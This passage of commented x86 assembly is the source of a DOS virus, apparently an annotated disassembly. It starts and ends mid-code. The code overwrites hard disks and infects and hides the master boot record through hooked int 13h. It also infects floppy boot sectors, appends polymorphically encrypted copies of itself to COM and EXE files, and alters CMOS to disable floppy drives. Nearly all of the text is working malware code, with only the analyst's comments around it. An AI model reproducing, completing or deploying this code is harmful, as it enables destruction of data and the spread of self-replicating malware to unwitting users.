cmp byte ptr ds:[475h],1 ; <=1 HD present?
jbe continue_killing ; Yes? then jmp
inc dl ; Next HD
jmp kill_hd ; Kill it
continue_killing:
test cl,80h ; More cylinders?
jnz c_768 ; Yes? then jmp
test cl,40h ; More cylinders?
jnz c_256 ; Yes? then jmp
mov cl,41h ; Cylinder 256->512
jmp_other_cylinder:
xor ch,ch
jmp other_cylinder
c_256:
mov cl,81h ; Cylinder 512->768
jmp jmp_other_cylinder
c_768:
mov cl,0C1h ; Cylinder 768->1024
jmp jmp_other_cylinder

no_activate:
mov ax,ds:[413h] ; Number of KBs
sub ax,8 ; Get 8 KB
mov cl,6
shl ax,cl ; Calculate base segment
mov es,ax
xor di,di
pop cx
mov si,sp
cld
rep movsb ; Move code
mov ax,(read_code_from_disk-mbr_code)
push es
push ax
retf ; jmp read_code_from_disk

read_code_from_disk:
mov ax,end_mbr_code-mbr_code
mov cl,4
shr ax,cl ; Calculate relative segment
inc ax ; Next segment
mov bx,cs
add ax,bx ; Calculate absolute segment
mov es,ax ; Base segment for code
mov ah,8
mov dl,80h
int 13h ; Get current drive parameters
inc ch
mov dl,80h
sub cl,0Eh
mov ax,20Ch
xor bx,bx
int 13h ; Read 12 sectors (code)
mov al,cs:[mask_orig_mbr-mbr_code]
mov es:mask_orig_mbr,al
mov es:changes_i21,0
mov es:loading_dos,0
mov ah,cs:[floppy_types-mbr_code]
mov es:floppy_types,ah
mov dx,0Ah
mov al,10h
out 70h,al ; CMOS Memory: diskette drive type
in al,71h ; CMOS Memory: read byte
or al,al ; Zero? No floppy?
jnz already_enabled ; Yes? then jmp
mov dx,6
mov al,10h
call write_cmos ; Enable floppy
already_enabled:
xor ax,ax
mov ds,ax ; ds:=0
mov byte ptr ds:[700h],16h ; Mark in DOS segment
mov bp,cs:[inst_hard-mbr_code]
mov ds:[410h],bp
lds si,ds:[21h*4] ; Get int 21h
cli
mov es:[boot_i21],ds
sti
mov ds,ax
lds si,ds:[1Ch*4] ; Get int 1Ch
mov es:[ofs_1c],si ; Store it
mov es:[seg_1c],ds
mov ds,ax
cli
mov ds:[1Ch*4],offset(int1Ch) ; Set new int 1Ch
mov ds:[1Ch*4+2],es
sti
mov es,ax
mov bx,7C00h
cmp dx,0Ah ; Was the floppy enabled?
jz no_read_boot ; Yes? then jmp
xor dx,dx
int 13h ; Reset drive A:
mov si,2
try_read_again:
mov ax,201h
mov cx,1
int 13h ; Read sector (boot)
jnc exec_boot_mbr
dec si
jnz try_read_again
no_read_boot:
mov ah,8
mov dl,80h
int 13h ; Get current drive parameters
inc ch
dec cl
mov dl,80h
mov ax,201h
int 13h ; Read 1 sector (original MBR)
mov al,cs:[mask_orig_mbr-mbr_code]
mov si,bx
mov cx,512
dec_orig_mbr:
xor es:[si],al ; Decrypt original MBR
inc si
loop dec_orig_mbr
exec_boot_mbr:
db 0EAh
dw 7C00h,0 ; jmp far ptr 0:7C00h
; Exec original MBR/boot A:

write_cmos: ; Input: AL = CMOS address
; AH = byte to write
cli
or al,80h ; Disable NMI
out 70h,al ; CMOS Memory: Select address
mov al,ah
jmp $+2
jmp $+2
out 71h,al ; CMOS Memory: Write byte
mov al,0
jmp $+2
jmp $+2
out 70h,al ; CMOS Memory: Select address
sti
ret

mask_orig_mbr db 60h
;_b2c
floppy_types db 24h
;_b2d
inst_hard dw 4461h
chksum_method db 0
changes_i21 db 2

end_mbr_code:

int1Ch:
call push_registers
cmp cs:loading_dos,1 ; Loading DOS?
je dos_present ; Yes? then jmp
xor ax,ax
mov ds,ax ; DS:=0
cmp byte ptr ds:[700h],16h ; Mark present?
je no_dos_loaded ; Yes? then jmp
mov cs:loading_dos,1 ; No? then loading DOS
sub word ptr ds:[413h],8 ; Get 8 KB
call disable_FD
dos_present:
xor ax,ax
mov es,ax ; ES:=0
mov ax,cs:boot_i21
cmp es:[21h*4+2],ax ; Int 21h changed?
je no_dos_loaded ; No? then jmp
mov ds,es:[21h*4+2]
mov cs:boot_i21,ds ; Save segment of new i21h
inc cs:changes_i21
cmp cs:changes_i21,2 ; Two changes?
; (DOS changes i21h 2 times)
jne no_dos_loaded ; No? then jmp
push cs
pop es
mov di,offset(_header)
xor al,al
mov cx,115h
cld
rep stosb ; Clear data area
push cs
pop ds
mov al,13h
call get_int_vector ; Get int 13h
mov ofs_i13,bx ; Store it
mov seg_i13,es
call set_ints ; Initialize ints
push cs
pop ds
xor ax,ax
mov es,ax ; ES:=0
lds di,dword ptr ofs_1c
cli
mov es:[1Ch*4],di ; Restore int 1Ch
mov es:[1Ch*4+2],ds
add word ptr es:[413h],8 ; Return the 8 KB to the
; system (the DOS is loaded
; and will not use them)
sti
no_dos_loaded:
call pop_registers
iret

read_cmos: ; Input: AL = address to read
; Output: AH = byte from CMOS
or al,80h ; Disables NMI
cli
out 70h,al ; CMOS Memory: Select address
call waste_time
in al,71h ; CMOS Memory: Read byte
mov ah,al
mov al,0
call waste_time
out 70h,al ; CMOS Memory: Select address 0
sti
ret

set_ints:
push cs
pop ds
mov flags,80h
mov point,'.'
mov jmp_virus,0E9h ; jmp opcode
mov al,21h
call get_int_vector ; Get int 21h
mov ofs_i21,bx ; Store it
mov seg_i21,es
mov al,13h
call get_int_vector ; Get int 13h
mov ofs_i13_2,bx ; Store it
mov seg_i13_2,es
xor ax,ax
mov ds,ax ; DS:=0
cli
mov word ptr ds:[21h*4],offset(int_21) ; Set new i21
mov ds:[21h*4+2],cs
mov word ptr ds:[20h*4],offset(int_20) ; Set new i20
mov ds:[20h*4+2],cs
mov word ptr ds:[27h*4],offset(int_27) ; Set new i27
mov ds:[27h*4+2],cs
sti
call patch_i13
ret

disable_FD:
test cs:flags,2 ; Permission to disable floppy?
jnz no_disable_fd ; No? then jmp
cmp cs:chksum_method,2 ; Known checksum method?
je no_disable_fd ; No? then jmp
push ax
mov ax,10h
call write_cmos ; Disable FD from CMOS
call write_CMOS_chksum ; Calculate new checksum
pop ax
no_disable_fd:
ret

enable_FD:
cmp cs:chksum_method,2 ; Known checksum CMOS method?
je no_change_cmos ; No? then jmp
push ax
mov ah,cs:floppy_types
mov al,10h
call write_cmos ; Enable FD drives
call write_CMOS_chksum ; Restore cmos checksum
pop ax
no_change_cmos:
ret

write_CMOS_chksum:
call push_registers
cmp cs:chksum_method,1 ; Method 2?
je write_CMOS_chksum2 ; Yes? then jmp
call calculate_CMOS_checksum_1
mov al,2Eh
mov ah,dh
call write_cmos ; Store new checksum in CMOS
mov al,2Fh
mov ah,dl
call write_cmos
jmp _pops
write_CMOS_chksum2:
call calculate_CMOS_checksum_2
mov al,32h
mov ah,dh
call write_cmos ; Store new checksum in CMOS
mov al,33h
mov ah,dl
call write_cmos
_pops:
call pop_registers
ret

calculate_CMOS_checksum_1:
mov cx,1Eh
xor dx,dx
mov al,10h
next_cmos_byte:
mov bl,al
call read_cmos
mov al,bl
inc al
push ax
xchg ah,al
xor ah,ah
add dx,ax ; Make checksum
pop ax
loop next_cmos_byte
ret

calculate_CMOS_checksum_2:
mov cx,22h
xor dx,dx
mov al,10h
next_byte_CMOS:
mov bl,al
call read_cmos
mov al,bl
inc al
push ax
xchg ah,al
xor ah,ah
xor dx,ax ; Make checksum
pop ax
loop next_byte_CMOS
ret

write_virus:
push cs
pop ds
push cs
pop es
mov di,offset(num_bytes)
mov [di],offset(length_virus) ; Bytes to decrypt
call get_random
mov cl,0Bh
shr ax,cl ; AX in [0..1Fh]
add [di],ax ; Variable number of bytes to decrypt
cmp bp,1 ; COM file?
jne write_start_exe ; No? then jmp
mov ax,4202h
xor cx,cx
xor dx,dx
call int21h ; Lseek end
cmp ax,1Ch ; size > 1Ch bytes?
ja check_if_big ; Yes? then jmp
jmp _ret_2 ; Stupid jmp!!

check_if_big:
mov di,ax
push ax
clc
add ax,offset(vir_end)+495 ; !?
pop ax
jnc write_start_com ; Too big? No, then jmp
jmp _ret_2 ; Stupid jmp!!

write_start_com:
call write_jmptovir
jnb make_decryptor
jmp _ret_2 ; Stupid jmp!!

write_start_exe:
call write_header_exe
jnc make_decryptor
jmp _ret_2 ; Stupid jmp!!

make_decryptor:
call get_1byte_inst
mov _1cx,al
mov di,3
call get_n_di ; Get 0 or 3 or 6 in SI
add si,offset(table_reg_source) ; Source register
mov di,offset(r_source)
cld
movsb ; the mov
mov di,offset(r_op)
movsb ; the source register
mov di,offset(i_inc)
movsb ; the inc
mov di,4
call get_n_di ; Get 0 or 4 or 8 in SI
add si,offset(table_reg_index) ; Index register
mov di,offset(r_index)
movsb ; the mov
mov di,offset(d_loop)
movsb ; Store dec+jne or loop+garbage
movsw
call get_random
mov cl,0Eh
shr ax,cl ; AX in [0..3]: get encrytion method
mov crypt_method,al
call get_random
mov cl,0Fh
shr ax,cl ; AX in [0..1]
jnz no_xchg_inst
mov di,offset(xchg1) ; xchg 2 instructions
mov si,offset(r_index)
push di
push si
movsw
movsw
movsw
pop di ; DI:=offset(xchg1)
mov si,offset(xchg2)
movsw
movsb
pop si
movsw
movsb
no_xchg_inst:
cmp crypt_method,0 ; Xor?
jz enc_met_xor ; Yes? then jmp
cmp crypt_method,1 ; Not?
jz enc_met_not ; Yes? then jmp
cmp crypt_method,2 ; Rol?
jz enc_met_rol ; Yes? then jmp
cmp crypt_method,3 ; Dec?
jz enc_met_inc ; Yes? then jmp
enc_met_xor:
mov prefix_op,802Eh ; xor cs:
jmp decryptor_done
enc_met_not:
mov prefix_op,0F62Eh ; not cs:
call get_1byte_inst
mov l_mask,al ; Don't need a mask
sub r_op,20h
jmp decryptor_done
enc_met_inc:
mov prefix_op,0FE2Eh ; inc cs:
call get_1byte_inst
mov l_mask,al ; Don't need a mask
sub r_op,30h
jmp decryptor_done

enc_met_rol:
mov prefix_op,0D02Eh ; rol cs:
call get_1byte_inst
mov l_mask,al ; Don't need a mask
sub r_op,30h
decryptor_done:
cmp bp,1 ; COM file?
jne encrypt_code_and_write ; No? then jmp
; In EXE we need SEG CS:
mov ax,offset(encrypt_code_and_write)
push ax
call get_random
mov cl,0Eh
shr ax,cl ; AX in [0..3]: Get segment prefix
cmp al,1 ; Seg SS?
je seg_ss ; Yes? then jmp
cmp al,2 ; Seg ES?
je seg_es ; Yes? then jmp
cmp al,3 ; Seg CS?
je seg_cs ; Yes? then jmp
call get_1byte_inst ; if al=0
mov byte ptr prefix_op,al ; Subst CS: by one byte inst.
ret ; jmp encrypt_code_and_write
seg_es:
mov byte ptr prefix_op,26h ; SEG ES:
ret ; jmp encrypt_code_and_write
seg_cs:
mov byte ptr prefix_op,2Eh ; SEG CS:
; BUG!!!! Already CS:
; It would be DS: (3Eh)
ret ; jmp encrypt_code_and_write
seg_ss:
mov byte ptr prefix_op,36h ; SEG SS:
ret ; jmp encrypt_code_and_write

encrypt_code_and_write:
mov dx,offset(buffer_enc)
mov cl,4
shr dx,cl ; Calculate base address
inc dx
push cs
pop ax
add ax,dx
mov es,ax
get_no_zero:
call get_random
or al,al ; Zero?
jz get_no_zero ; Yes? then jmp
cmp crypt_method,0 ; XOR? Need a mask
jnz not_mask ; No? then jmp
mov cs:l_mask,al ; Store mask
mov dl,al
not_mask:
push dx
mov ax,4202h
xor cx,cx
xor dx,dx
call int21h ; Lseek end
mov ah,40h
xor dx,dx
mov cx,offset(code_enc)
mov si,cx
call int21h ; Write decryptor to file
pop dx
xor di,di
enc_next_byte:
lodsb
cmp crypt_method,1 ; Not?
jz _not ; Yes? then jmp
cmp crypt_method,0 ; Xor?
jz _xor ; Yes? then jmp
cmp crypt_method,2 ; Rol?
jz _rol ; Yes? then jmp
cmp crypt_method,3 ; Inc?
jz _inc ; Yes? then jmp
_xor:
xor al,dl
jmp enc_byte
_not:
not al
jmp enc_byte
_inc:
dec al
jmp enc_byte
_rol:
ror al,1
enc_byte:
stosb ; Store encrypted byte
cmp si,offset(length_virus) ; All encrypted?
ja all_encrypted ; Yes? then jmp
cmp di,512 ; Write in blocks of 512 bytes
; End of a block?
je write_512 ; Yes? then jmp
jmp_enc_next:
jmp enc_next_byte

write_512:
push ds
push es
push dx
mov ah,40h
push es
pop ds
mov cx,di
xor dx,dx
call int21h ; Write an encrypted 512-block
jc _ret_2
pop dx
pop es
pop ds
xor di,di
jmp jmp_enc_next

all_encrypted:
mov ah,40h
mov cx,di
dec cx
xor dx,dx
push es
pop ds
call int21h ; Write last block
mov ax,cs:f_date
rcr ah,1
pushf
add ah,100 ; Mark infected (add 100 years)
popf
rcl ah,1
mov cs:f_date,ax
clc
_ret_2:
ret

cmp_3bytes:
mov cx,3
cld
rep cmpsb
ret

exe_or_com?:
push cs
pop es
mov si,dx
call end_fname ; filename.ext
; ^ SI
sub si,3 ; filename.ext
; ^SI
mov di,offset(ext_com)
push si
call cmp_3bytes ; COM?
pop si
jne cmp_exe ; No? then jmp
mov bp,1
ret

cmp_exe:
mov di,offset(ext_exe)
push si
call cmp_3bytes ; EXE?
pop si
jne not_execom ; No? then jmp
mov bp,3
ret
not_execom:
xor bp,bp
ret

get_random: ; Get random number in AX
xor al,al
out 43h,al ; Timer 8253-5 (AT: 8254.2).
in al,40h ; Timer 8253-5 (AT: 8254.2).
mov ah,al
in al,40h ; Timer 8253-5 (AT: 8254.2).
ret

make_fname:
push si
push di
push es
push cx
push ax
mov si,dx
inc si
mov cx,8
mov di,offset(filename)
push cs
pop es
rep movsb ; Store name
mov si,dx
add si,9
mov cx,3
mov di,offset(filename_ext)
rep movsb ; Store extension
push cs
pop ds
mov dx,offset(filename)
call normalize_fname
pop ax
pop cx
pop es
pop di
pop si
ret

host_type db 1 ; 1 = COM
; 3 = EXE

table_reg_source:
db 0BBh ; mov bx,????
db 37h ; reg BX
inc bx

db 0BEh ; mov si,????
db 34h ; reg SI
inc si

db 0BFh ; mov di,????
db 35h ; reg DI
inc di
;100C
table_reg_index:
; Using AX
db 0B8h ; mov ax,????
dec ax
jne $-6
; Using CX
db 0B9h ; mov cx,????
loop $-5
_1cx equ byte ptr $ ; 1 byte instruction
clc
; Using DX
db 0BAh ; mov dx,????
dec dx
jne $-6

one_byte_inst:
nop
std
cld
clc

read_header:
mov ah,3Fh
mov cx,1Ch
push cs
pop ds
mov dx,offset(_header)
call int21h ; Read file header
ret

get_ofs_fname:
push cs
pop ds
mov ah,30h
call int21h ; Get DOS version
mov ofs_sft,20h
xchg ah,al
cmp ax,300h ; DOS 3.0?
jne not_inc_offset ; No? then jmp
inc ofs_sft ; ofs_sft:=21h
not_inc_offset:
ret

end_fname: ; Output: SI points to end of filename

mov cx,43h
search_end_fname: ; Search end of filename (0)
mov al,[si]
or al,al ; Zero?
jz end_asciiz ; Yes? then jmp
inc si
loop search_end_fname
end_asciiz:
ret

int21h:
pushf
call dword ptr cs:ofs_i21
ret

int13h:
pushf
call dword ptr cs:ofs_i13
ret

int13hbp:
pushf
call dword ptr cs:[bp+ofs_i13]
ret

int24h:
mov al,3
_iret:
iret

set_i24_i1B_i23:
push ds
push cs
pop ds
push bx
mov ax,3524h
call int21h ; Get int 24h
mov [ofs_i24],bx ; Save it
mov [seg_i24],es
mov al,1Bh
call int21h ; Get int 1Bh
mov [ofs_i1b],bx ; Save it
mov [seg_i1b],es
mov al,23h
call int21h ; Get int 23h
mov [ofs_i23],bx ; Save it
mov [seg_i23],es
pop bx
push ax
push dx
mov ax,2524h
mov dx,offset(int24h)
call int21h ; Set new int 24h
mov al,1Bh
mov dx,offset(_iret)
call int21h ; Set new int 1Bh (iret)
mov al,23h
mov dx,offset(_iret)
call int21h ; Set new int 23h (iret)
pop dx
pop ax
pop ds
ret


restore_i24_i1b_i23:
mov ax,2524h
lds dx,dword ptr cs:ofs_i24
call int21h ; Restore int 24h
mov al,1Bh
lds dx,dword ptr cs:ofs_i1b
call int21h ; Restore int 1Bh
mov al,23h
lds dx,dword ptr cs:ofs_i23
call int21h ; Restore int 23h
ret

write_jmptovir:
push cs
pop ds
push cs
pop es
push di
mov si,offset(_header)
mov di,offset(header)
cld
movsw ; Save original bytes (3)
movsb
pop di
mov ax,4200h
xor cx,cx
xor dx,dx
call int21h ; Lseek start
mov ofs_virus,di
push di
sub ofs_virus,3
mov ah,40h
mov cx,3
mov dx,offset(jmp_virus)
call int21h ; Write jmp
mov host_type,1 ; COM file
pop di
add di,100h ; Calculate delta offset
mov delta,di
add di,offset(code_enc) ; Where encrypted code starts
mov st_code_enc,di
clc
ret

write_header_exe:
push cs
pop ds
push cs
pop es
mov si,offset(_header)
push si
mov di,offset(header)
mov cx,1Ch
cld
rep movsb ; Store header
pop si
mov ax,[si+(_pagecnt-_header)]
mov dx,512
dec ax
mul dx ; (pagecnt-1)*512
mov length_hi,dx
mov dx,[si+(_partpag-_header)]
clc
add ax,dx ; File size:=(pagecnt-1)*512+partpag
adc length_hi,0
mov length_lo,ax
xor cx,cx
mov dx,cx
mov ax,4202h
call int21h ; Lseek end (get real length)
sub ax,length_lo
sbb dx,length_hi ; File has internal overlays?
jz no_overlays ; No? then jmp
jmp stc_ret
no_overlays:
push bx
mov ax,4202h
xor cx,cx
mov dx,cx
call int21h ; Lseek end
push ax ; Save length
push dx
mov ax,[si+(_hdrsize-_header)]
mov cl,4
shl ax,cl ; mul 16 = size of header
xchg ax,bx
pop dx ; Get length
pop ax
push ax
push dx
sub ax,bx ; Sub size of header
sbb dx,0
mov cx,10h
div cx ; Calculate initial paragraph
mov [si+(_exeip-_header)],dx
mov [si+(_relocs-_header)],ax
pop dx
pop ax
add ax,offset(length_virus) ; New file length
adc dx,0
mov cl,9
push ax
shr ax,cl ; div 512
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov [si+(_pagecnt-_header)],dx
mov [si+(_partpag-_header)],ax
pop bx
clc
add word ptr [si+(_minmem-_header)],39h ; why 39h?????
; (offset(vir_end)-length_virus+15)/16 (?)
jnc nosub_minmem
sub word ptr [si+(_minmem-_header)],39h
nosub_minmem:
clc
add word ptr [si+(_maxmem-_header)],39h
jnc nosub_maxmem
sub word ptr [si+(_maxmem-_header)],39h
nosub_maxmem:
mov cl,4
mov ax,offset(end_virdata)
shr ax,cl ; div 16
mov dx,[si+(_relocs-_header)]
add ax,dx ; Segment of stack
mov [si+(_reloss-_header)],ax
mov word ptr [si+(_relosp-_header)],vstack-end_virdata
xor cx,cx
mov dx,cx
mov ax,4200h
call int21h ; Lseek start
mov dx,si
mov ah,40h
mov cx,1Ch
call int21h ; Write header
mov dx,[si+(_exeip-_header)]
mov delta,dx ; Delta offset
add dx,offset(code_enc) ; Where encrypted code starts
mov st_code_enc,dx
mov host_type,3 ; EXE file
clc
ret

stc_ret:
stc
ret

disinfect_file:
call push_registers
pushf
call normalize_fname
call set_i24_i1B_i23
mov cs:seg_fname,ds
mov cs:ofs_fname,dx
call get_reset_attr
jc r_ints
call exe_or_com?
or bp,bp ; Exe or Com?
jz r_ints ; No? then jmp
mov ax,3D02h
call int21h ; Open I/O
jc r_ints
mov bx,ax ; bx:=handle
call read_header
call check_if_exe
call get_ftime
call check_if_infected ; Infected?
jnz close_file ; Yes? then jmp
call get_file_encryption
cmp bp,1 ; COM file?
jne jmp_disinfect_exe ; No? then jmp
call disinfect_com
jmp quit_inf_mark

jmp_disinfect_exe:
call disinfect_exe
quit_inf_mark:
mov ax,cs:f_date
rcr ah,1
pushf
sub ah,100 ; Quit mark
popf
rcl ah,1
mov cs:f_date,ax
close_file:
call restore_ftime
mov ah,3Eh
call int21h ; Close file
mov ds,cs:seg_fname
mov dx,cs:ofs_fname
call restore_attr
r_ints:
call restore_i24_i1b_i23
popf
call pop_registers
ret

lseek:
mov ax,4202h
xor cx,cx
xor dx,dx
call int21h ; Lseek end
mov cx,dx
mov dx,ax
sub dx,cs:ofs_virus
mov ax,4200h
call int21h ; Lseek to length(file)-ofs_virus
ret

truncate_file:
mov cs:ofs_virus,offset(length_virus)
call lseek ; Lseek to start of viral code
mov ah,40h
xor cx,cx
call int21h ; Truncate file (original size)
ret

disinfect_com:
mov cs:ofs_virus,1Ch
call lseek ; Lseek to length(file)-1Ch
mov ah,3Fh
mov cx,3
push cs
pop

  
ds
mov dx,offset(_3bytes)
push dx
call int21h ; Read original 3 bytes
mov ax,4200h
xor cx,cx
xor dx,dx
call int21h ; Lseek start
mov al,code_mask
pop si
push si
mov cx,3
push cx
call decrypt_bytes ; Decrypt original 3 bytes
pop cx
pop dx
mov ah,40h
call int21h ; Restore host
call truncate_file ; Truncate to original size
ret

int25:
mov cs:inout_flag,1
call dword ptr cs:ofs_i25
mov cs:inout_flag,0
retf

int26:
mov cs:inout_flag,1
call dword ptr cs:ofs_i26
mov cs:inout_flag,0
retf

mark_activity:
mov cs:inout_flag,0
mov cs:tick_value,8*18 ; 8 seconds
mov cs:tick_counter,0
ret

int17:
mov cs:inout_flag,1
pushf
call dword ptr cs:ofs_i17
call mark_activity
iret

check_boot_inf:
push cs
pop es
push cs
pop ds
mov si,3Eh
add si,bx
mov cx,offset(c_floppy)-offset(floppy_code)
mov di,offset(floppy_code)
cld
rep cmpsb
ret

install_from_boot:
mov al,13h
call get_int_vector ; Get int 13h vector
mov [bp+ofs_i13],bx ; Store it
mov [bp+seg_i13],es
mov [bp+use_ports],0
call check4ide
cmp al,66h ; Can use ports?
jne no_use_ports ; No? then jmp
mov [bp+use_ports],1
no_use_ports:
call install_virus
ret

patch_i13:
push si
push di
push es
push ds
push cs
pop es
lds si,dword ptr es:ofs_i13
push si
mov di,offset(i13_5bytes)
cld
movsw ; Save five bytes
movsw
movsb
pop si
cli
mov byte ptr [si],0EAh ; Insert a jmp far to cs:int_13
mov word ptr [si+1],offset(int_13)
mov [si+3],es
sti
pop ds
pop es
pop di
pop si
ret

int_13:
mov cs:inout_flag,1
call enable_FD
push si
push di
push es
push ds
mov si,offset(i13_5bytes)
push cs
pop ds
les di,dword ptr cs:ofs_i13
cld
movsw ; Restore original 5 bytes of int 13h
movsw
movsb
pop ds
pop es
pop di
pop si
cmp dx,80h ; 1st HD?
jne not_stealth ; No? then jmp
cmp cx,1 ; Track 0, sector 1?
jne not_stealth ; No? then jmp
cmp ah,2 ; Read sector?
je stealth_mbr_read ; Yes? then jmp
cmp ah,3 ; Write sector?
je stealth_mbr_write ; Yes? then jmp
not_stealth:
test dl,80h ; Is a HD?
jnz call_i13 ; Yes? then jmp
jmp is_a_floppy

call_i13:
pushf
call dword ptr cs:ofs_i13_2
exit_i13:
mov cs:inout_flag,0
call disable_FD
call patch_i13 ; Patch int 13h again
retf 2

stealth_mbr_read:
push ax
push bx
push cx
push dx
push es
push ax
push es
push bx
mov ah,8
int 13h ; Get current drive parameters
inc ch ; Inc cylinder
dec cl ; Dec sector
pop bx
pop es
pop ax
pushf
mov dl,80h
mov ah,2
int 13h ; Read original MBR (encrypted)
mov cx,512
mov al,cs:mask_orig_mbr
dec_mbr_rd:
xor es:[bx],al ; Decrypt the original MBR
inc bx
loop dec_mbr_rd
exit_mbr_stealth:
popf
pop es
pop dx
pop cx
pop bx
pop ax
call patch_i13
retf 2

stealth_mbr_write:
push ax
push bx
push cx
push dx
push es
push es
push bx
push ax
mov cx,512
mov al,cs:mask_orig_mbr
enc_mbr_wr:
xor es:[bx],al ; Encrypt the new MBR
inc bx
loop enc_mbr_wr
pop ax
pop bx
pop es
push ax
push es
push bx
mov ah,8
int 13h ; Get current drive parameters
inc ch ; Inc max. cylinder
dec cl ; Dec max. sector
pop bx
pop es
pop ax
mov dl,80h
mov ah,3
call int13h ; Write new original MBR (encripted)
pushf
mov cx,512
mov al,cs:mask_orig_mbr
dec_mbr_wr:
xor es:[bx],al ; Decrypt MBR
inc bx
loop dec_mbr_wr
jmp exit_mbr_stealth

is_a_floppy:
pushf
call push_registers
cmp ah,2 ; Read sector?
je read_write ; Yes? then jmp
cmp ah,3 ; Write sector?
je read_write ; Yes? then jmp
jmp infect_boot

read_write:
or dh,dh ; Track 0?
jnz infect_boot ; No? then jmp
cmp cx,1 ; Sector 1, track 0? trying boot?
jnz infect_boot ; No? then jmp
push cx
push dx
push ax
push es
push bx
push ax
push cs
pop es
mov si,3
read_boot_again:
mov ax,0201h
mov cx,1
mov dh,ch
mov bx,offset(sector)
call int13h ; Read boot
dec si
jz infect_boot_pops ; 3 errors reading? then jmp
jc read_boot_again ; error? then jmp
call check_boot_inf ; Infected?
jne infect_boot_pops ; No? then jmp
add bx,offset(vir_track)-offset(floppy_code)+3Eh
nop ; !?
mov ch,[bx] ; Virus track
pop ax
pop bx
pop es
mov al,1
mov cl,0Dh
call int13h ; Read/write original boot
pop ax
dec al
pop dx
pop cx
inc cl
call int13h ; And the rest of sectors
or cs:flags,10h ; Don't need to call int 13h
jmp infect_boot

infect_boot_pops:
pop ax
pop bx
pop es
pop ax
pop dx
pop cx
infect_boot:
xor ax,ax
mov ds,ax ; DS:=0
cmp dl,3 ; diskette?
jbe test_motor ; Yes? then jmp
jmp error_inf_boot

test_motor:
mov cl,dl
mov al,1
shl al,cl ; Set bit of drive
mov cs:bit_drive,al
test ds:[43Fh],al ; Diskette motor on?
jnz error_inf_boot ; Yes? then jmp
push cs
pop ds
push ds
pop es
mov si,3
mov drive,dl
read_boot:
xor ax,ax
call int13h ; Reset drive controller
mov ax,0201h
mov cx,1
mov dh,ch
mov bx,offset(sector)
call int13h ; Read sector
jnc boot_loaded
dec si
jz error_inf_boot
jmp read_boot

boot_loaded:
call check_boot_inf ; Already infected?
jcxz error_inf_boot ; Yes? then jmp
call format_extra_track ; And write code to disk
jc error_inf_boot
push cs
pop ds
mov vir_track,ch ; Store new track
mov word ptr jmp_bootcode,3CEBh ; Encode jmp floppy_code
mov byte ptr jmp_bootcode+2,90h
mov si,offset(floppy_code)
mov di,offset(sector)+3eh
push ds
pop es
mov cx,end_floppy_code-floppy_code
cld
rep movsb
mov ax,301h
mov bx,offset(sector)
xor dh,dh
mov cx,1
call int13h ; Write new boot sector
error_inf_boot:
call pop_registers
popf
test cs:flags,10h ; Need to call int 13h?
jnz no_call_i13 ; No? then jmp
jmp call_i13

no_call_i13:
clc
mov cs:flags,0 ; Clear all flags
jmp exit_i13

format_extra_track:
mov al,1Eh
call get_int_vector ; Dir of diskette parameters
cli
mov word ptr es:[bx+3],0D02h ; 2-> 512 bytes/sector
; 0Dh-> last sector
sti
mov ax,totsecs
or ax,ax ; Total sectors=0?
jz error_ft ; Yes? then jmp
mov bx,trksecs ; Sectors per track
xor bh,bh
cmp ax,bx ; Total sectors<=Sectors per track?
jle error_ft ; Yes? then jmp
div bl ; Calculate number of tracks
mov bx,headcnt ; Number of heads
xor bh,bh
cmp ax,bx ; Number of tracks<=Number of heads?
jle error_ft ; Yes? then jmp
div bl ; Tracks per head
mov ah,1
mov cx,0Dh ; 13 sectors
mov di,offset(format_table)
push di
push cs
pop es
make_table_sectors:
mov es:[di],al ; Track
mov byte ptr es:[di+1],0 ; Head 0
mov es:[di+2],ah ; Sector Number
mov byte ptr es:[di+3],2 ; Size (2-> 512)
inc ah ; Next sector
add di,4 ; Next table entry
loop make_table_sectors
mov dl,cs:drive
mov ah,5
pop bx
mov ch,al
mov cl,1
xor dh,dh
call int13h ; Format extra track
jc error_ft
mov ax,301h
mov bx,offset(sector)
mov cl,0Dh
call int13h ; Store original boot
jc error_ft
mov ax,30Ch
xor bx,bx
mov cl,1
call int13h ; Write code to disk
ret
error_ft:
stc
ret

floppy_code:
cli
xor ax,ax
mov ss,ax
mov sp,7C00h
push cs
pop ds
c_floppy:
mov ch,50h ; Virus track
vir_track equ byte ptr $-1
xor dx,dx
push cs
pop es
mov bx,7E00h
mov si,3
read_track:
mov ax,20Ch
mov cl,1
int 13h ; Read code (12 sectors)
dec si
jz read_exec_boot
jc read_track
mov bp,bx
add bx,offset(install_from_boot)
push dx
push cx
call bx ; call install_from_boot (infect MBR)
pop cx
pop dx
read_exec_boot:
push ss
pop es
mov ax,201h
mov bx,7C00h
mov cl,0Dh
pushf ; flags
push ss ; 0
push bx ; 7C00h
jmp dword ptr es:[13h*4] ; Read & exec original boot
end_floppy_code:

;---------------------------------------------------------
jmp dword ptr cs:ofs_i8 ; ?????
;---------------------------------------------------------

push_registers2:
pop cs:return_dir2
push ax
push bx
push cx
push dx
push es
push ds
push si
push di
push bp
jmp cs:return_dir2
pop_registers2:
pop cs:return_dir2
pop bp
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
jmp cs:return_dir2

int8:
pushf
call dword ptr cs:ofs_i8
or cs:ticks_disableFD,0 ; Time to disable FD?
jz dis_fd ; Yes? then jmp
dec cs:ticks_disableFD
dis_fd:
cmp cs:ticks_disableFD,0 ; Time to disable FD?
jnz no_permission ; No? then jmp
test cs:flags,2 ; Permission to disable floppy? 1=no
jz no_permission ; BUG!?
call disable_FD ; call with bit1=1 -> doesn't disable FD!!
and cs:flags,11111101b
no_permission:
call push_registers2
xor ax,ax
mov ds,ax
les bx,ds:[33h*4] ; Get mouse int
push cs
pop ds
mov cx,es
or cx,cx ; Int segment=0?
jz mark_no_mouse ; Yes? then jmp
cmp byte ptr es:[bx],0CFh ; Int points to iret?
je mark_no_mouse ; Yes? then jmp
cmp mouse_checked,1 ; Did I check the mouse?
je serial_mouse ; Yes? then jmp
mov no_mouse,0
xor ch,ch
mov mouse_checked,1 ; Mark mouse checked
mov ax,24h
int 33h ; - MS MOUSE - Get soft version and type
cmp ch,2 ; Serial mouse?
je serial_mouse ; Yes? then jmp
mark_no_mouse:
mov no_mouse,1 ; No serial mouse
serial_mouse:
mov cx,3
xor bx,bx
xor bp,bp
check_com:
mov dx,word ptr [bx+com_ports]
inc bx
inc bx
or dx,dx ; Port installed?
jz check_game ; No? then jmp
; BUG!? We can have COM4 without COM3
in al,dx ; Read byte from port
call waste_time
